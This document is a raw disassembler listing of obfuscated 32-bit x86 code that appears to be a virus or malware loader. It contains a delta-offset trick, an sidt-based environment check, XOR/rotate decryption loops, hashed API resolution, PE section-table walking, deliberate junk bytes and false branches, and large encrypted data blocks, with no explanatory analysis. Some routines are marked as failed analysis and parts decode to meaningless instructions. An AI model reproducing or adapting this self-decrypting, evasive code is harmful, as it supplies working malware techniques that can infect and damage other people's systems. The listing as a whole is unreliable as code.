		dd 39FCB9C0h, 0BD8341A8h, 7E918A5h, 83097500h, 0E91A45BDh
		dd 19740007h, 0C08B5350h, 40EB8h, 0F5858900h, 8D07E920h
		dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h
		dd 40EB8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h
		dd 2800F58h, 8B000000h,	0F3B70FCBh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 96C35040h, 0E856339Eh, 12h
		dd 93C61745h, 0BFD99B29h, 31ED8C8Bh, 743E4A28h,	0AE92E3Fh
		dd 0B6000000h, 3E6E562Fh, 0FDE7C230h, 8B5A5E31h, 0D38B66C0h
		dd 18EBC28Bh, 9B46F317h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BA6F8
; ---------------------------------------------------------------------------


loc_5BA4ED:				; CODE XREF: sdfs____:005BA502j
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 7EC673Dh
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_5BA4ED
; ---------------------------------------------------------------------------


loc_5BA507:				; CODE XREF: sdfs____:005BA50Cj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5BA507
; ---------------------------------------------------------------------------


loc_5BA511:				; CODE XREF: sdfs____:005BA516j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5BA511
; ---------------------------------------------------------------------------


loc_5BA51B:				; CODE XREF: sdfs____:005BA520j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5BA51B
; ---------------------------------------------------------------------------


loc_5BA525:				; CODE XREF: sdfs____:005BA52Aj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5BA525
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 0EC6775B5h, 0E68107h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	0EC6779B5h
		dd 0E9860F07h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 7E91A75h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 0E9237D95h, 10F5007h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 7E91A75h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	1A75858Bh, 188607E9h
		dd 850FDB0Ah, 0FFFFFFF6h, 0C8185C7h, 7E9h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 0E90C8185h, 10007h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh
; ---------------------------------------------------------------------------


loc_5BA6F8:				; CODE XREF: sdfs____:005BA4E8j
		mov	ax, ds
		test	al, 4
		jz	loc_5BA72C
		mov	dword ptr [ebp+7EC671Ah], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+7EC671Eh]
		lea	eax, [ebp+7EC6716h]
		lea	edi, [ebp+7EC671Eh]
		mov	[eax], edi
		jmp	loc_5BA74F
; ---------------------------------------------------------------------------


loc_5BA72C:				; CODE XREF: sdfs____:005BA6FDj
		lea	eax, [ebp+7E92D59h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+7EC6716h],	eax
		lea	eax, [ebp+7E92D59h]
		mov	eax, [eax+3Ch]
		mov	[ebp+7EC671Ah],	eax


loc_5BA74F:				; CODE XREF: sdfs____:005BA727j
		lea	eax, [ebp+7EC6733h]
		mov	[ebp+7E9237Dh],	eax
		jmp	loc_5BA7E7
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5BA77B
; ---------------------------------------------------------------------------


loc_5BA774:				; CODE XREF: sdfs____:005BA77Dj
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_5BA77B:				; CODE XREF: sdfs____:005BA76Fj
		cmp	esi, edi
		jb	loc_5BA774
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5BA7A3
; ---------------------------------------------------------------------------


loc_5BA79C:				; CODE XREF: sdfs____:005BA7A5j
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_5BA7A3:				; CODE XREF: sdfs____:005BA797j
		cmp	esi, edi
		jb	loc_5BA79C
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_5BA7D6
; ---------------------------------------------------------------------------


loc_5BA7C3:				; CODE XREF: sdfs____:005BA7D8j
		lodsb
		cmp	al, 2Dh
		jz	loc_5BA7D6
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_5BA7D6:				; CODE XREF: sdfs____:005BA7BEj
					; sdfs____:005BA7C6j
		or	ecx, ecx
		jnz	loc_5BA7C3
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_5BA7E7:				; CODE XREF: sdfs____:005BA75Bj
		lea	eax, [ebp+7EC69A6h]
		mov	[ebp+7E917E1h],	eax
		lea	eax, [ebp+7EC69CEh]
		mov	[ebp+7E907FDh],	eax
		lea	eax, [ebp+7EC69F6h]
		mov	[ebp+7E92C85h],	eax
		call	near ptr loc_5BA819+1
		insd
		mov	edi, 8FD489FFh
		popa
		test	[esi], al


loc_5BA819:				; CODE XREF: sdfs____:005BA80Bp
		db	64h
		jmp	loc_5BA82A
; ---------------------------------------------------------------------------
		popf
		test	[edx], dh
		or	esp, eax
		lea	ebx, [eax]
		nop
		xor	ebp, ecx
		lodsd


loc_5BA82A:				; CODE XREF: sdfs____:loc_5BA819j
		pop	ecx
		pusha
		mov	cx, bx
		mov	si, 0A6B3h
		popa
		add	ecx, 66A6h
		and	esi, 3422CCCBh
		mov	edi, 0
		jp	loc_5BA84E
		movsx	esi, di


loc_5BA84E:				; CODE XREF: sdfs____:005BA845j
					; sdfs____:loc_5BA8FDj
		mov	ebx, [ecx+edi]
		jo	loc_5BA867
		jmp	loc_5BA867
; ---------------------------------------------------------------------------
		dd 35DCC45Eh, 0F859EC6Ah
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		mov	bl, 12h


loc_5BA867:				; CODE XREF: sdfs____:005BA851j
					; sdfs____:005BA857j
		add	ebx, 0D6A3C90h
		jmp	loc_5BA885
; ---------------------------------------------------------------------------
		dw 0D30Eh
		dd 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0BFA67F8Dh
		db 0BEh
; ---------------------------------------------------------------------------


loc_5BA885:				; CODE XREF: sdfs____:005BA86Dj
		xor	ebx, 75E97B92h
		mov	eax, 60E381C6h
		add	ebx, 61DD75DAh
		mov	[ecx+edi], ebx
		clc
		mov	dx, cx
		sub	edi, 2
		mov	si, 0A354h
		dec	edi
		dec	edi
		jnp	loc_5BA8C5
		push	edx
		jmp	loc_5BA8C4
; ---------------------------------------------------------------------------
		dw 15C4h
		dd 58C2F396h, 7346F4B6h, 0EF73C7BCh, 0BEBD45F3h
; ---------------------------------------------------------------------------


loc_5BA8C4:				; CODE XREF: sdfs____:005BA8ADj
		pop	esi


loc_5BA8C5:				; CODE XREF: sdfs____:005BA8A6j
		cmp	edi, 0FFFF9A58h
		jnz	loc_5BA8E3
		add	edx, 6F8EAEE6h
		jmp	loc_5BA912
; ---------------------------------------------------------------------------
		dd 0F7D595h
		db 93h,	0E3h, 0E7h
; ---------------------------------------------------------------------------


loc_5BA8E3:				; CODE XREF: sdfs____:005BA8CBj
		jno	loc_5BA8FD
		jmp	loc_5BA8FD
; ---------------------------------------------------------------------------
		dw 1108h
		dd 3B5CD4E8h, 0AE9E4B69h, 8E6A9FCDh
		db 15h
; ---------------------------------------------------------------------------


loc_5BA8FD:				; CODE XREF: sdfs____:loc_5BA8E3j
					; sdfs____:005BA8E9j
		jmp	loc_5BA84E
; ---------------------------------------------------------------------------
		mov	eax, ds:5E748FA1h
		push	0FFFFFFC7h
		shr	dword ptr [ecx-7Fh], 93h
		xchg	eax, edx
		retf
; ---------------------------------------------------------------------------
		db 0BEh
		db 5Ah,	0DDh
; ---------------------------------------------------------------------------


loc_5BA912:				; CODE XREF: sdfs____:005BA8D7j
		jmp	short loc_5BA91C
; ---------------------------------------------------------------------------
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BA91C:				; CODE XREF: sdfs____:loc_5BA912j
		jmp	loc_5BA99C
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_5BA92C:				; CODE XREF: sdfs____:005BA963j
		mov	eax, [ebp+7E91B69h]
		lea	eax, [ebp+7ECB93Ah]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+7EC6B5Eh],	ecx
		cmp	dword ptr [ebp+7E921CDh], 0
		jz	loc_5BA968
		pusha
		push	0
		call	dword ptr [ebp+7E90C31h]
		popa
		jmp	loc_5BA92C
; ---------------------------------------------------------------------------


loc_5BA968:				; CODE XREF: sdfs____:005BA953j
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+7EC6B5Ah],	eax
		mov	esi, [ebp+7EC6B5Eh]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+7EC6B5Eh]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+7EC6B5Ah]
		retn
; ---------------------------------------------------------------------------


loc_5BA99C:				; CODE XREF: sdfs____:loc_5BA91Cj
		lea	edx, [ebp+7E90575h]
		mov	[ebp+7E91A75h],	edx
		mov	[ebp+7E90875h],	edx
		inc	dword ptr [ebp+7E90875h]
		mov	byte ptr [ebp+7E92659h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E90C31h],	eax
		lea	eax, [ebp+7EC674Dh]
		mov	[ebp+7E90C15h],	eax
		jmp	short $+2
		jmp	loc_5BAFED
; ---------------------------------------------------------------------------
		jmp	loc_5BAFE6
; ---------------------------------------------------------------------------
		push	7EC6CEEh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC6E34h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC6EE9h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC6FBEh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC70CDh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 0D2Eh
		dd 0C256C273h, 759B35B8h, 0D6CE6A0Bh, 0DA7FD954h, 9C9D13A2h
		dd 0D263193Ch, 0AD2F66h, 74F98394h, 0AD4032D8h,	0E3A3DEC8h
		dd 2D287058h, 439FA91Fh, 0F0305CC5h, 305CC4B0h,	5CC53C7Dh
		dd 20912C30h, 0E97BF5A8h, 0C4E0E149h, 71305C93h, 305C9456h
		dd 5C93E5C1h, 64F37EB0h, 7F94DFD2h, 9602B7B5h, 0D16BF983h
		dd 5199E375h, 10688F57h, 5C1C339Dh, 0B522CD80h,	64276E23h
		dd 0B5EFAFCCh, 369AE83Ch, 4778F4BCh, 47Ch, 48E597A4h, 833248ECh
		dd 0F07DFF11h, 27CE4C44h, 991460F5h, 0A74A2603h, 0A5FC58D5h
		dd 0D228E27h, 0C456C273h, 48523BBAh, 70595959h,	2381BB28h
		dd 0ED6A04Ah, 5CC53C97h, 630A0630h, 59DBCB93h, 8733FF85h
		dd 5C183D75h, 0C16C0280h, 0F0BCC557h, 0ACF06568h, 84300CA2h
		dd 9C380476h, 97230379h, 7F2AFA82h, 7946B455h, 98B27617h
		dd 433EB8E8h, 305C5743h, 0FD41D7CDh, 74B456E7h,	94BE9EC1h
		dd 65FF6F06h, 5C4E6C2Ch, 32FEA430h, 31572F91h, 3BB4F84h
		dd 4A1B0000h, 970ED6A0h, 305CC53Ch, 865E1832h, 8B5B25CAh
		dd 2DC97094h, 5CC53474h, 30C6DC30h, 5A8E2F61h, 0A834C6B0h
		dd 0D266F785h, 3522C74Dh, 94F9C42Ch, 1617970Ah,	9DF9305Ch
		dd 0AD710785h, 0B7580E21h, 12BE37C5h, 18A67EF8h, 0D799C28Dh
		dd 2EE9424h, 0CE60C96Fh, 0C08C1EACh, 19E44C2Eh,	4DE79DBFh
		dd 5C5F5454h, 0B3E6BC30h, 305C5EF3h, 0EA3A42D5h, 58EEB4D8h
		dd 8AF406CEh, 88AC28BAh, 589012F2h, 0DB594804h,	5F8F2B5Ah
		dd 0C25B305Ch, 0B4139F1Eh, 2E8A66C0h, 0D4A975F7h, 453CCE59h
		dd 37B4F6AEh, 0DB139E04h, 0FB340D34h, 336746Bh,	0DD7E0000h
		dd 92A612A3h, 45EB45E8h, 61EBA3Bh, 0AA4FE984h, 6CCD23D2h
		dd 0E293E90Ch, 50DD5FB6h, 842953E4h, 0FD700228h, 13930E98h
		dd 0FD287057h, 0A04A99CFh, 0A8420ED6h, 0A52257F8h, 8C596A28h
		dd 0F945DB69h, 0A9D367EFh, 906C082Dh, 0A3F22612h, 0EA780017h
		dd 77E03C4Bh, 0A22A305Ch, 4706F28Ch, 305C676Bh,	0ACECA53Fh
		dd 64305C66h, 0CFC6F23Eh, 5EA6D67Bh, 0B824B644h, 8A18E496h
		dd 379372AEh, 0C8305C67h, 9620BA2Dh, 670585FCh,	950F305Ch
		dd 670E8E03h, 9C06305Ch, 4C1AB554h, 7AE237B5h, 0F87A90D0h
		dd 334DE26Ah, 0E0891BC7h, 340D82D0h, 817F50ECh,	0A3000002h
		dd 0EB45E888h, 1CB83547h, 43ED80FAh, 0F05CD153h, 6961F5Dh
		dd 0D89CB121h, 2AAAFB55h, 7606298Bh, 0BDBF5DFFh, 5E534F30h
		dd 2870575Eh, 782684B6h, 0AA44EFEDh, 6CC4947Eh,	46D0A248h
		dd 3E06789Eh, 680A20A4h, 8E220E94h, 0F64E28C2h,	0C432DB25h
		dd 5737772Ah, 0CFD9305Ch, 5C56D2D2h, 0D2604230h, 0DE98B266h
		dd 4E12F257h, 0E66C8431h, 76000001h, 773BDC78h,	394B9BE5h
		dd 6D0F23ABh, 26271391h, 305CC58Ah, 2B3CD62h, 27C98196h
		dd 0DAAB3552h, 740AA718h, 62B21AA8h, 0F4F252E0h, 6BBB3968h
		dd 12259159h, 0BFC19A6Ah, 3B45EA1Eh, 651725A1h,	4183008Dh
		dd 0BD843161h, 48h, 37A0B305h, 0A331ECA5h, 0A30137B5h
		dd 0DDACC16h, 5F70CC34h, 1ACh, 981567F4h, 0D362183Ch, 0ADCF61h
		dd 77FE7C94h, 0A94430C5h, 779AF633h, 0D5CC6805h, 0DD72DE57h
		dd 94A612A3h, 78224BEAh, 70568909h, 13718B28h, 69B92581h
		dd 0CD891BEBh, 0F78D512Bh, 0ACF4AD3Bh, 64305CC4h, 45EAE63Eh
		dd 0FC1EBA3Bh, 49EFA282h, 5AFD5FD6h, 0B219322h,	0E8399569h
		dd 0FAA4C964h, 66BEB852h, 9F12945Ch, 305CC51Fh,	97385F1h
		dd 831DAB7Bh, 5CC58E0Eh, 0D41C8630h, 812C4EE0h,	0ED645EEh
		dd 23D2AC42h, 5CC58824h, 0C9B85230h, 305CC4C9h,	0E72572B2h
		dd 3B5B2159h, 41EC8169h, 22AA44D6h, 0ABE670F2h,	305BC9EBh
		dd 0D2B37F25h, 37B49F2Fh, 94E40B67h, 0CC62E030h, 0FC7E923Ah
		dd 0C569F571h, 0F1556FB7h, 0E3D723A1h, 0E5D12D4Fh, 0CCDA2A52h
		dd 0C2224F31h, 0D2CFE04Fh, 28720AD2h, 66D26042h, 40D763B2h
		dd 48DEE438h, 4336D8F4h, 10075176h, 0B08C22CBh,	53E572FDh
		dd 0CB6F935Eh, 8A1032Fh, 3C37AC34h, 9D5304D8h, 87000000h
		dd 0CF690474h, 70DC512Bh, 0A7119CDEh, 0D440ED6Fh, 22BA3B41h
		dd 0F4809505h, 46C6DF79h, 92EA0DAFh, 0D99BB1E3h, 3A773354h
		dd 2870557Ah, 4A02609Ah, 33B1E0A0h, 0C4A8E899h,	3A68305Ch
		dd 864E58A4h, 0AE340872h, 10DC0D1Fh, 0B57D3695h, 0B589EB01h
		dd 35FF9EE6h, 6BD85527h, 8430F199h, 10D5h, 449FED00h, 3A305CC5h
		dd 76CF6610h, 19h, 0C5439F88h, 1725305Ch, 0E40BD365h, 3FCBDE93h
		dd 8210FE0Eh, 0C5C820A2h, 0E5FB527Dh, 0Ch, 0A8D97335h
		dd 305CC4E8h, 0CBE7A28h, 0FD7A14Ah, 77CFA943h, 78C4B45Bh
		dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h
		dd 55A9D367h, 0E089505Eh, 405h,	4E88300h, 5C240487h, 68243489h
		dd 2289h, 56240C89h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 1C895C24h, 93B85024h, 2D7E544Bh, 7667DF2Fh, 242C8150h
		dd 2A0237ACh, 0ACC18159h, 582A0237h, 241C8B54h,	4C481h
		dd 75680000h, 89000015h, 438F240Ch, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dd 910E2CA3h, 0BC936BA0h, 750647E7h
		db 45h,	0Fh
; ---------------------------------------------------------------------------


loc_5BAFE6:				; CODE XREF: sdfs____:005BA9E7j
		mov	eax, 7EC718Fh
		add	eax, ebp


loc_5BAFED:				; CODE XREF: sdfs____:005BA9E2j
		mov	edx, ecx
		jmp	loc_5BB045
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5BB00F:				; CODE XREF: sdfs____:005BB03Aj
		cmp	ecx, 0
		jz	loc_5BB02E
		cmp	edi, [edx+0Ch]
		jg	loc_5BB036
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5BB02E:				; CODE XREF: sdfs____:005BB012j
					; sdfs____:005BB040j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5BB036:				; CODE XREF: sdfs____:005BB01Bj
		add	edx, 28h
		dec	ecx
		jnz	loc_5BB00F
		jmp	loc_5BB02E
; ---------------------------------------------------------------------------


loc_5BB045:				; CODE XREF: sdfs____:005BAFEFj
		mov	edx, 9FD3Eh
		jmp	short loc_5BB06C
; ---------------------------------------------------------------------------
		dd 8 dup(0)
; ---------------------------------------------------------------------------


loc_5BB06C:				; CODE XREF: sdfs____:005BB04Aj
		jmp	loc_5BB5E6
; ---------------------------------------------------------------------------
		jmp	loc_5BB5DF
; ---------------------------------------------------------------------------
		push	7EC7440h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC7512h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC76BDh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC772Ch
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 8DAEh
		dd 42D642F3h, 0F51BB538h, 564EEA8Bh, 5AFF59D4h,	1C1D9322h
		dd 52E399BCh, 802DAFE6h, 0F4790314h, 2DC0B258h,	63235E48h
		dd 0AD287053h, 0ED78299Fh, 142CEF69h, 0EECA269Fh, 37EE3648h
		dd 0B05C749Bh, 0FF1CBD41h, 4311405h, 3361h, 0A9F96500h
		dd 5AFFDB2Bh, 32C0C222h, 449FC4C6h, 0C3305CC5h,	9B35C750h
		dd 805C1C33h, 79396802h, 9B305CC5h, 32202109h, 5E37B152h
		dd 3514A944h, 0AE000000h, 46C4DC78h, 7D0CE4FEh,	305CC561h
		dd 56E077E2h, 2F6F22BCh, 0E1305CC5h, 0E89677C3h, 0A437B151h
		dd 0DFD26CFEh, 287051DFh, 0F0377431h, 4D924500h, 0D46E73BFh
		dd 0ADAA44Ah, 5CC53E9Bh, 39DE9B0h, 5CC50E8Eh, 549C06B0h
		dd 0E9758128h, 0D9FD3547h, 3EA84537h, 24F88296h, 9A9F529Eh
		dd 0A23E7305h, 92B05CB5h, 6A80CC10h, 143D010Fh,	0EE7C9A72h
		dd 96012C47h, 38AA8D04h, 3E68B7B5h, 733A4343h, 880C05A8h
		dd 3C662EB4h, 13AF56AEh, 0D5A8733Ah, 0DAE73FBDh, 0E882CC9Dh
		dd 0CE62EAF5h, 7006709Ah, 8B1DFACh, 2BD27EEAh, 19EB16EEh
		dd 6D500Ch, 78720000h, 0E8403ADCh, 8B9B3A35h, 0B0E17B09h
		dd 37B1588Bh, 0C38B1D87h, 0AA64F29h, 431B96E0h,	6334089Ch
		dd 324FCD3h, 0E10A0000h, 9EB21E97h, 51E751DCh, 0FA2A862Fh
		dd 0B65BF578h, 78B12FC6h, 0EE87F518h, 5CD15342h, 901D5FF0h
		dd 0C9641624h, 787FAA4h, 9287051h, 0DC788DF3h, 0E7FD413Bh
		dd 0C55C5C55h, 0EEB4305Ch, 2E08D02h, 78D50000h,	84403ADCh
		dd 0F6220E8Ch, 5FC61E60h, 305CC583h, 15978F57h,	8E7FBBC9h
		dd 305CC3B2h, 7438DC78h, 3C469E1Ch, 28342AEh, 11305CC4h
		dd 305CC3B5h, 5CC44662h, 77A1430h, 305CC487h, 0AA821B89h
		dd 9146AF48h, 456160C8h, 0DEF05C5Ch, 9832C453h,	5C13930Eh
		dd 0A7FD705Ch, 80681027h, 0B03AE2C1h, 92723077h, 6A737914h
		dd 0FE052C66h, 6FFC7F32h, 6FE87232h, 7200A268h,	0CBE2A9D8h
		dd 72306FC8h, 3109B9C7h, 96C905FCh, 252h, 2CC1B358h, 670E6C80h
		dd 0D4592335h, 0BAA2878h, 7DF084A9h, 0CB6E4AEFh, 81903CB1h
		dd 31C67203h, 0E00AA64Fh, 2C761F96h, 70503575h,	0FFADDF28h
		dd 58D1A04Ah, 0D4103D64h, 0DD906C02h, 7E33C552h, 37B0A3CCh
		dd 1B34260h, 53FB8DEFh,	1A9888BEh, 0CE2AB884h, 0BDBF51C3h
		dd 1681AC61h, 32130D84h, 7BE32FC4h, 485AAA2Ah, 32C3C3BEh
		dd 574D2083h, 0ADF79Bh,	83336541h, 85A93520h, 0BA482CC1h
		dd 0B6C86E6Ah, 37C6546Eh, 163B6ED2h, 752800C6h,	0A6DB6DFAh
		dd 27D7BD70h, 8854E6BCh, 19D1062h, 0BE7A3A77h, 89A1896h
		dd 1466F420h, 0BE4D59C8h, 7BF61896h, 3D275AECh,	531FEB4Bh
		dd 0FD1FC751h, 0B446F283h, 0FF8B7ACAh, 2010AA4Bh, 9908A235h
		dd 17FED89Fh, 0D985178Dh, 1EB74133h, 10248600h,	7D089A6Ah
		dd 0EE4ADC48h, 6DE983E3h, 5250ACC8h, 0BE0F5F5Fh, 7F3B108h
		dd 6DFF7993h, 13657AD0h, 48A47D71h, 1143DA2Fh, 9BD72357h
		dd 2ABC2BC6h, 12AD0977h, 0C11D8710h, 0D1AD8420h, 0AF2D6400h
		dd 0A4D47B57h, 78212758h, 0AD83037Eh, 178D00D1h, 9435D981h
		dd 0BBF87D47h, 1AF9B3h,	9FC90000h, 305CA843h, 6C2F7E17h
		dd 0AC126234h, 154B44h,	17BF0000h, 12B07800h, 0E9FEED78h
		dd 7D0293BBh, 0D2F8D4B5h, 0B3E6305Bh, 39A537A0h, 0B8C05713h
		dd 60C8DA2Ah, 52190B86h, 61ED37B1h, 7A56AECEh, 801AA82Ah
		dd 70529111h, 0C9218328h, 0D2A77F25h, 4B46D047h, 2FC93210h
		dd 5426CAA6h, 0CD64FA88h, 3C316385h, 0A796C905h, 0F7000000h
		dd 3F991464h, 60CC611Bh, 9701ACCEh, 0C470FD7Fh,	32AA4B31h
		dd 47085F5h, 56D6CF69h,	0A2DA7DDFh, 0E98BA113h,	0A872344h
		dd 28704F8Ah, 0B312708Ah, 0BA537A0h, 0C7D65343h, 54CC5CEDh
		dd 0DEE438CEh, 5FA7D97Eh, 2A1CED45h, 637B143h, 628D409Ch
		dd 0DFCA63F5h, 464E6CC8h, 8B06E048h, 2FC92C78h,	73CD643Eh
		dd 133C3169h, 38ECC3h, 0D5660000h, 8AAE0AABh, 3DD37DF0h
		dd 0E06B243h, 0A2B7E18Ch, 64C55BDAh, 1A9BE174h,	48E567BEh
		dd 0BC314BECh, 0F578FA10h, 1B9B1690h, 0F528704Eh, 351E1C7h
		dd 0F1000000h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h
		dd 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h
		dd 525E55A9h, 0C281E289h, 4, 8704EA83h,	248B2414h, 0E3895324h
		dd 4C381h, 0EB830000h, 241C8704h, 242C895Ch, 199068h, 243C8900h
		dd 5ACDB850h, 2D4058ADh, 701526E7h, 2D03E0C1h, 5F7C7638h
		dd 0DE1A472Dh, 642B057Fh, 8150A285h, 53212404h,	815D7C0Fh
		dd 0F5321EDh, 868587Ch,	8900007Eh, 4812424h, 424h, 52505F00h
		dd 0D089EA89h, 847895Ah, 243C8B58h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 0FF5C240Ch, 815D2434h, 4C4h, 3A0E900h
		db 0FDh, 0FFh, 5
; ---------------------------------------------------------------------------


loc_5BB5DF:				; CODE XREF: sdfs____:005BB071j
		mov	eax, 7EC7789h
		add	eax, ebp


loc_5BB5E6:				; CODE XREF: sdfs____:loc_5BB06Cj
		mov	ecx, eax
		call	sub_5BB601
; ---------------------------------------------------------------------------
		imul	edx, [edi], 1F16B7BAh
		sub	al, 8Ah


loc_5BB5F5:				; CODE XREF: sdfs____:005BB671j
		mov	eax, ds:0B46EAC22h
		xchg	edx, [edx-70h]
; ---------------------------------------------------------------------------
		db 8Dh,	0C8h, 14h
; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5BB601	proc near		; CODE XREF: sdfs____:005BB5E8p
		mov	si, cx
		pop	ecx
		mov	esi, 392ED01Bh
		add	ecx, 5A5Bh
		jbe	loc_5BB619
		mov	dx, ax


loc_5BB619:				; CODE XREF: sub_5BB601+Fj
		mov	edi, 0
		mov	eax, ecx


loc_5BB620:				; CODE XREF: sub_5BB696:loc_5BB6E0j
		mov	ebx, [ecx+edi]
		pusha
		jz	loc_5BB62B
		clc


loc_5BB62B:				; CODE XREF: sub_5BB601+23j
		movsx	ecx, si
		popa
		add	ebx, 518E9BF5h
		xor	ebx, 522925DDh
		push	ebx
		sbb	edx, 2E31C637h
		pop	esi
		sub	ebx, 35612A9Ah
		call	sub_5BB660
		jmp	near ptr 0D6DB33BAh
sub_5BB601	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CDh
		dd 67512657h, 0E6481895h, 17BCA309h

; =============== S U B	R O U T	I N E =======================================



sub_5BB660	proc near		; CODE XREF: sub_5BB601+48p
		call	near ptr loc_5BB66E+1
		cmpsd
		ror	ecx, 2Eh
		xchg	eax, edi
		db	36h
		stos	byte ptr es:[edi]
		inc	edi
		push	ebx


loc_5BB66E:				; CODE XREF: sub_5BB660p
		and	esp, [esi-48h]
sub_5BB660	endp ; sp-analysis failed

		ja	short loc_5BB5F5
		pop	edx
		pop	esi
		mov	[ecx+edi], ebx
		jl	loc_5BB69D
		call	sub_5BB696
		or	bl, [ecx+edx*4+66h]
		add	bl, al
		test	eax, 7E8C66B3h
